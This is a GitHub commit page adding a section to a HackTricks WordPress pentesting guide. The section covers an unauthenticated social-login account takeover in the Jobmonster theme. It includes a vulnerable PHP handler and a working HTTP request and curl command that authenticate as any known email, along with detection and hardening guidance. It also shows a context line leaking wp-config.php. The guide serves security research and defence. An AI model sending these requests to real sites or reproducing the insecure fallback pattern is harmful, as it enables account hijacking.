Skip to content

Commit 98272ba

Browse files
authored
Merge pull request #1421 from HackTricks-wiki/update_Unauthenticated_Broken_Authentication_Vulnerabilit_20250919_123745
Unauthenticated Broken Authentication Vulnerability in WordP...
2 parents b5877a9 + 61051af commit 98272ba

1 file changed

Lines changed: 88 additions & 0 deletions

File tree

src/network-services-pentesting/pentesting-web/wordpress.md

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -766,6 +766,92 @@ curl -G https://victim.com/wp-admin/admin-post.php \
766766
```
767767
The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
768768

769+
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
770+
771+
Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
772+
773+
Typical flawed pattern (simplified)
774+
775+
```php
776+
public function check_login() {
777+
// ... request parsing ...
778+
switch ($_POST['using']) {
779+
case 'fb': /* set $user_email from verified Facebook token */ break;
780+
case 'google': /* set $user_email from verified Google token */ break;
781+
// other providers ...
782+
default: /* unsupported/missing provider – execution continues */ break;
783+
}
784+
785+
// FALLBACK: trust POSTed "id" as email if provider data missing
786+
$user_email = !empty($user_email)
787+
? $user_email
788+
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
789+
790+
if (empty($user_email)) {
791+
wp_send_json(['status' => 'not_user']);
792+
}
793+
794+
$user = get_user_by('email', $user_email);
795+
if ($user) {
796+
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
797+
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
798+
}
799+
wp_send_json(['status' => 'not_user']);
800+
}
801+
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
802+
```
803+
804+
Why it’s exploitable
805+
806+
- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
807+
- No nonce/capability checks before state change.
808+
- Missing OAuth/OpenID provider verification; default branch accepts attacker input.
809+
- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address.
810+
811+
Exploitation (unauthenticated)
812+
813+
- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
814+
- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
815+
816+
```http
817+
POST /wp-admin/admin-ajax.php HTTP/1.1
818+
Host: victim.tld
819+
Content-Type: application/x-www-form-urlencoded
820+
821+
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
822+
```
823+
824+
```bash
825+
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
826+
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
827+
```
828+
829+
Expected success indicators
830+
831+
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
832+
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
833+
834+
Finding the action name
835+
836+
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
837+
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
838+
839+
Detection checklist
840+
841+
- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
842+
- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
843+
844+
Hardening
845+
846+
- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
847+
- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
848+
- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
849+
- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
850+
851+
Patched behaviour (Jobmonster 4.8.0)
852+
853+
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
854+
769855
## References
770856

771857
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@@ -778,4 +864,6 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
778864
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
779865
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
780866

867+
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
868+
781869
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)